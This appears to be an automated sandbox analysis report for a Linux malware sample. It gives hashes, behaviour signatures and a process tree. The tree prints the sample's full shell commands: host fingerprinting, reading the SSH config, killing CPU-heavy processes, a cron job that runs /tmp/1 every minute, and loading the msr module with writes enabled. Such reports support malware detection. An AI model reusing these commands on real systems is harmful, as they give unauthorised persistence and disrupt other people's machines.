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Analysis
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max time kernel
149s -
max time network
148s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20221111-en -
resource tags
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submitted
07/06/2023, 15:35
General
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Target
1
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Size
2.3MB
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MD5
fb95fc8c3ed253dec1b08722f1bbf18e
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SHA1
d48d6dc76323efa8c0ae799d245a650b9d914c09
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SHA256
215293b8bdd0a57497d5cc62421e64bb29334e088578679cbf509d66c7b7dc7e
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SHA512
498f68c04f66a4cbcfed7e38f779183b2a7766948def1d159158c2799893ddcfb9a7dc2762c8958d6ae479a62f71edee460ac31a5939aa3c149efe59a987834e
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SSDEEP
49152:QM4HMaoo1fdQLCS1ytoWW7b/7GN2PM6jm:94Hp11aChtoB7b/7GYEZ
Score
7/10
Malware Config
Signatures
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Loads a kernel module 1 IoCs
Loads a Linux kernel module, potentially to achieve persistence
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Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Reads CPU attributes 1 TTPs 7 IoCs
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Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
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Enumerates kernel/hardware configuration 1 TTPs 59 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/1/tmp/11⤵
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
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/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵
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/usr/bin/whoamiwhoami3⤵
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/bin/hostnamehostname3⤵
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/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
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/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵
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/bin/psps -A "-ostat,ppid"3⤵
- Reads CPU attributes
- Reads runtime system information
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/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵
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/usr/bin/idid -u3⤵
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/bin/psps x3⤵
- Reads CPU attributes
- Reads runtime system information
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/bin/grepgrep /etc/cron3⤵
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/bin/grepgrep -v grep3⤵
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/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵
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/usr/bin/idid -u3⤵
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/bin/psps aux3⤵
- Reads CPU attributes
- Reads runtime system information
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/bin/grepgrep -v grep3⤵
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/bin/grepgrep -v -- "-bash[[:space:]]*\$"3⤵
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/bin/grepgrep -v /usr/sbin/httpd3⤵
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/usr/bin/awkawk "{if(\$3>30.0) print \$2}"3⤵
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/bin/shsh -c "dir=`pwd 2>/dev/null`;rm -rf \$dir/.cron 2>/dev/null;crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep -v '/tmp/1' 2>/dev/null > .cron 2>/dev/null;echo '* * * * * '\$dir/'/tmp/1' >> .cron 2>/dev/null; if [ \$(crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep '/tmp/1\$' 2>/dev/null | sort 2>/dev/null | uniq 2>/dev/null | wc -l 2>/dev/null) -eq '0' ]; then crontab \$dir/.cron 2>/dev/null; fi;rm -rf \$dir/.cron 2>/dev/null"2⤵
- Writes file to tmp directory
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/bin/rmrm -rf /tmp/.cron3⤵
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/usr/bin/crontabcrontab -l3⤵
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/bin/grepgrep -v grep3⤵
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/bin/grepgrep -v /tmp/13⤵
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/usr/bin/crontabcrontab /tmp/.cron3⤵
- Creates/modifies Cron job
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/bin/rmrm -rf /tmp/.cron3⤵
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/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"2⤵
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/usr/bin/idid -u3⤵
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/bin/hostnamehostname -I1⤵
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/usr/bin/awkawk "{print \$1}"1⤵
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/bin/catcat /etc/ssh/sshd_config1⤵
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/bin/grepgrep "Port "1⤵
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/usr/bin/headhead -n 11⤵
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/usr/bin/awkawk "{print \"-\"\$2}"1⤵
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/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
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/usr/bin/cutcut -d: -f21⤵
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/bin/sedsed -e "s/^ *//"1⤵
- Reads runtime system information
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/bin/sedsed -e "s/\$//"1⤵
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/usr/bin/awkawk "{print \$1}"1⤵
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/usr/bin/awkawk "{print \$4}"1⤵
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/usr/bin/awkawk "{print \$4}"1⤵
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/usr/bin/crontabcrontab -l1⤵
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/bin/grepgrep -v grep1⤵
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/bin/grepgrep "/tmp/1\$"1⤵
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/usr/bin/sortsort1⤵
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/usr/bin/uniquniq1⤵
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/usr/bin/wcwc -l1⤵
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/bin/psps aux1⤵
- Reads CPU attributes
- Reads runtime system information
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/bin/grepgrep -v grep1⤵
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/bin/grepgrep -- "-bash[[:space:]]*\$"1⤵
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/usr/bin/awkawk "{if(\$3>30.0) print \$2}"1⤵
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/usr/bin/wcwc -l1⤵
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/bin/shsh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1"1⤵
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/sbin/modprobe/sbin/modprobe msr "allow_writes=on"2⤵
- Enumerates kernel/hardware configuration
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
22B
MD50c846569fad0c790b8a218e5ed420694
SHA1ee8cfcde03a4fd38e1e6fbe7d0e3fd4c9aa18748
SHA2562f03f23bb049d1ff68b15611e1ad1ee89c93a472a025fd748eb592dd31560cb4
SHA5123b59ac36c4d688fe9bfc64d3a52db4c5e8b9443344be4d42d51717c92932a56117215ce3975fd2df60f4fcb9910c81f05bfc18a4762359d31fed089b090cc7bd
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Filesize
206B
MD5c36d9e4ea0b13afb4c9a633a7b447d24
SHA174e7773d4b15480f3ebb1bb738016d54ec3a277a
SHA25666bf9da2326637a3feacd0bdecb2557a510029b29c82c57f3f0d08b3c3323de7
SHA512d7e4a9dc000974287d1ee87ac5e663333816e8536b9d6f7dd6acd9859a88ff4562a67f1a292fa538938e897e755dd2dac41780c945a7730141de4fbfc409ab25